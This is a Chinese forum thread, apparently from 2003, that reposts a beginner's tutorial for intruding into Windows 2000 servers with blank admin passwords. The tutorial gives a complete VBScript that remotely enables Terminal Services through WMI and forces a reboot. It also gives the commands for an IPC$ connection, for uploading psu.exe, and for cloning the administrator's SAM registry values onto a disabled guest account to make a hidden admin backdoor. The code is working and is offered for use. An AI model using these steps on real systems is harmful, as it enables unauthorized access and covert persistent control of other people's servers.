一次简单的3389入侵

firelinux

一次简单的3389入侵过程 原创：caozhe（草哲） 来源：中国欲网技术论坛--草哲 - e3 r4 A; c( K }) O; \ 我在网上看到很多很多教你如何如何入侵之类的文章，我觉得对于菜鸟来说根本是看不懂的！ 于是呢，我冒出个想法！想写篇简单点的，适合菜鸟的文章！把我学到的跟大家说一下~！ $ Z4 B5 ?6 c- C/ T, g* G7 g6 ]要入侵，我建议你在win2000环境下来*作！ 3 E/ q: h0 E0 K- o) a2 b首先，要入侵，你得有工具！我向大家推荐几款软件，也是我一直用的东西！ 扫描的X-Scan V2.3、WINNTAutoAttack、流光！ X-Scan我最近很少用了，基本用的都是WINNTAutoAttack，当然，小榕的流光我也经常用！ * y" q$ ]6 Q- W( }# c4 P远程开终端需要一个脚本就可以了，代码请看二楼！保存为*.vbe（我保存的是rots.vbe） 克隆帐户用个psu就可以了~！ $ y8 s: t$ P# p( N1 o t( Q8 f% x & G( X4 }( Y [) z: y5 D2 k: ^( C: AOK，比如扫描到了一个有NT弱口令的服务器，IP地址是120.0.0.1，管理员帐户是administrator，密码为空 运行CMD（2000下的DOS），我们给它开终端！ 命令如下！ cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr , \" T7 I; L2 n. Q4 f上面的命令应该可以理解吧？cscript rots.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为120.0.0.1这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以/r，这是普通重启） / v0 y5 A8 x3 g& G; }6 q 因为终端服务器只在win2000 server以上的版本（包括server）才有，PRO当然是不行的，此版本可以检测服务器的版本，如果是PRO的则提示你退出安装！ " N7 q, Z+ J/ r0 ~ v- y; j- g( Z* h 6 c0 Q1 j, \3 B5 [/ T/ q# i一切顺利，过会就可以连接到终端了，我们可以ping它，看是否重启，ping 120.0.0.1 -t 安装后用连接工具连接终端！现在我们克隆帐户，呵呵，为了给以后方便嘛！ 回到DOS下！我们建立IPC$连接！ 4 r- H( x6 ]% ^8 ~; @: @net use \\120.0.0.1\ipc$ "" /user:"administrator" 8 q# } h2 G; L5 [+ y这个命令我想应该可以理解吧！命令完成后，我们把psu上传到目标机的winnt\system32目录下！ copy psu.exe \\120.0.0.1\admin$\system32 ) o/ A6 G7 q4 }上传完毕后，开始在肉鸡做后门帐户！看肉鸡！ 8 f+ {: T, S1 u! g5 L g . W# z! W1 {7 ^# n; }" u/ k- }8 x假设guest用户被禁用，我们就是要利用guest做后门帐户！ $ l' |1 z$ t2 l0 H在该服务器运行CMD，在命令行下输入 psu -p regedit -i PID & y) m! @6 I4 K5 J& } 这里解释一下，后面的PID是系统进程winlogon的值，我们在任务栏下点鼠标右键，看任务管理器！ 看进程选项卡，找到winlogon的进程，后面的数值就是winlogon的pid值，假设是5458 那么，命令就是这样 psu -p regedit -i 5458 这样直接打开注册表，可以读取本地sam的信息。 x0 g' _" Q3 g9 D* q打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 下面的就是本地的用户信息了！我们要做的是把禁用的guest克隆成管理员权限的帐户！ HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 查看administrator的类型，是if4，再看guest的是if5 好了，知道了类型后，打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 ; O: |, A5 W* C. A: C这个值，双击右侧的F，把里面乱七八糟的字符复制下来，然后打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 ; F: ^7 E2 x" U6 `: h' L7 c4 s双击右侧的F，把刚复制的粘贴到里面！ ) }% N# J. |. ~. K/ y9 {5 B$ n做好了以后，把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 U5 ]0 U$ ~( K5 ?; ?和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest ; S: ~" ?& w F" L% I; h这两个键值导出，导出后把那两个键值删除！然后再导入进来！关闭注册表。 2 Q3 L. U- L' b& v5 T打开CMD，在命令行下输入 4 f" H% n6 L( @0 d& `' l& J$ S9 vnet user guest password 这条命令是给guest设置密码，后面的password就是密码 7 j2 v d, H" e: H% I! d然后输入 / B0 p/ u6 _ E: unet user guest /active:y 8 o: P( D1 E6 o7 ]: `; u% M这命令是激活guest帐户，然后我们把他禁用 net user guest /active:n ! }5 S4 @: L) g/ @; Q7 c上面的三行命令必须在DOS下执行！ 6 y, W' j6 p* q p% b: U- N9 J6 G ! y7 F H4 e0 JOK了，打开计算机管理，看用户，你们看，guest帐户还是被禁用的~！哈哈，但它已经拥有管理员权限了！ 而且并不在管理员组里显示，还可以登陆终端，跟administrator帐户一样的！ 注销一下，用guest登陆吧！ # Y% X; {2 N2 ^0 f 9 S( e2 s6 P% z8 A) F' d, _$ z打字都打累了~`！真不容易！呵呵~`希望上面的大家能看懂啊！ 8 c& H. k9 j# e: ~1 [0 E; \如果还有地方不明白的话，可以问我，我知道的一定告诉大家！ ) g, l" E7 Q& C# s1 y1 p3 a 因为本人也是菜鸟级的，会了点东西就不知道怎么好了，呵呵~`！如果哪里有不对的，还请高手指点啊~！ % Q8 }* T! P6 `$ ~+ j; F2 x ---------------------------------------------------------------------- 以下是开终端的脚本，把它存为*.vbe % v/ B3 k5 f Y4 y1 C( bon error resume next set outstreem=wscript.stdout set instreem=wscript.stdin 9 I5 w, o O) m3 Q* Zif (lcase(right(wscript.fullname,11))="wscript.exe") then set objShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit ' Q8 X7 z/ x# D/ a9 c) Y" G7 M! |7 Xend if if wscript.arguments.count<3 then 3 W# p! [2 r6 M! s' y% A2 e usage() 7 }1 q4 a( Z+ r( m4 | wscript.echo "Not enough parameters." & t5 ?: ]* Z0 O; ]" ]7 S: o wscript.quit end if , j1 i2 R$ P0 }/ _( V) L* R ipaddress=wscript.arguments(0) ]% g: L+ h8 E* Uusername=wscript.arguments(1) password=wscript.arguments(2) % S0 ~$ y3 D* Qif wscript.arguments.count>3 then " \6 T* _7 t- ^ port=wscript.arguments(3) else ) G. i3 V" w: }. d) i. x( Y0 X& s8 D port=3389 end if " Y% M; i; w) M# q! U9 aif not isnumeric(port) or port<1 or port>65000 then wscript.echo "The number of port is error." wscript.quit $ h: f! h6 b) n v: W$ y8 [+ \end if if wscript.arguments.count>4 then / d; x( E& N; S7 @ K$ p3 b reboot=wscript.arguments(4) , |/ A$ @9 y# t; f* U6 {" B8 Q* relse ' X) L6 ?& e2 _% P reboot="" end if usage() outstreem.write "Conneting "&ipaddress&" ...." set objlocator=createobject("wbemscripting.swbemlocator") set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) showerror(err.number) objswbemservices.security_.privileges.add 23,true @. Z! A& `% Y: j/ zobjswbemservices.security_.privileges.add 18,true ' _% m+ M+ H9 youtstreem.write "Checking OS type...." ' h8 J" e% u. M) a. |- S7 hset colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") for each objinstoscaption in colinstoscaption if instr(objinstoscaption.caption,"Server")>0 then ) u4 _# [, H( s wscript.echo "OK!" 5 v9 S9 H; V! Y h* f else ( z7 w+ C- X5 `# q wscript.echo "OS type is "&objinstoscaption.caption outstreem.write "Do you want to cancel setup?[y/n]" ( ]+ R, v) W( `7 ~9 i7 S strcancel=instreem.readline if lcase(strcancel)<>"n" then wscript.quit end if next ; x+ ?4 K- Y* n" p1 m" K e 2 l3 x! @7 n: t7 S F' T' k) O% toutstreem.write "Writing into registry ...." set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") HKLM=&h80000002 HKU=&h80000003 with objinstreg .createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" 7 @' o+ J( b/ t1 v" X9 ].setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 .createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" .setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1 2 Z8 I' N2 W3 h; |7 ].setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2 .setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1" ( T( K8 Y: [% o4 x.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port . I! E( u" l `end with + D. N9 b0 u: d8 |/ _showerror(err.number) rebt=lcase(reboot) & o. W+ U9 H' Cflag=0 if rebt="/r" or rebt="-r" or rebt="\r" then flag=2 if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6 if flag<>0 then outstreem.write "Now, reboot target...." strwqlquery="select * from win32_operatingsystem where primary='true'" 2 U8 C' F; i* r. R set colinstances=objswbemservices.execquery(strwqlquery) for each objinstance in colinstances objinstance.win32shutdown(flag) ) R T! K9 f o* E" Z next * G: j y0 Y$ J. @' _ showerror(err.number) # w0 g1 t- R. J4 `. w" Gelse $ o- P# e- q6 S9 H8 v3 V& s wscript.echo "You need to reboot target."&vbcrlf&"Then," 2 G" {+ c/ L$ U7 V S3 n' Qend if wscript.echo "You can logon terminal services on "&port&" later. Good luck!" & I2 c5 M, w/ R* B5 Y: G/ m0 @) Dfunction showerror(errornumber) if errornumber Then wscript.echo "Error 0x"&cstr(hex(err.number))&" ." 9 G/ P8 H6 L- R- q if err.description <> "" then wscript.echo "Error description: "&err.description&"." end if 9 Y( k" u1 Z8 S wscript.quit - g: v' r% ?! Eelse 4 k; d/ @1 \- _8 B% H8 R$ B/ A wscript.echo "OK!" end if ; Q/ Q0 c5 Y- p9 b+ `end function function usage() wscript.echo string(79,"*") 2 {, r5 a3 \- Z8 r/ ]3 e+ I2 cwscript.echo "ROTS v1.05" wscript.echo "Remote Open Terminal services Script, by 草哲" wscript.echo "Welcome to visite www.5458.net" + y& D. C0 Q2 x) z- g ~wscript.echo "Usage:" wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]" / P$ K, A. J, b# R; q4 O) Cwscript.echo "port: default number is 3389." wscript.echo "/r: auto reboot target." wscript.echo "/fr: auto force reboot target." # X& s3 u+ @% [2 Y% k/ mwscript.echo string(79,"*")&vbcrlf end function 8 i. E5 j! W- R5 X C) q 转自安全焦点

这么好的东西好象没有人看,是不感兴趣吗?
还是什么的,看来我们工程学院还真有很多不错的角色哦!

不过你还是说得简单点吧,估计那样的话会有多一点的人看的

0 h; |6 ^7 v  p8 ~+ M5 n

0 U$ O# p! O* S$ y8 N! |  S
" W  Q# f: m, a; J/ ~  @! w/ o

; m+ H) i7 i9 R  `' t+ I
# x, @9 S2 S: ]4 u) @) `

[此贴子已经被作者于2003-3-24 21:15:45编辑过]

1 Q+ O: x* F3 J

这个类似的我看多了，3389的漏洞好像都在一夜间成名，然后一夜间被人疯狂堵上。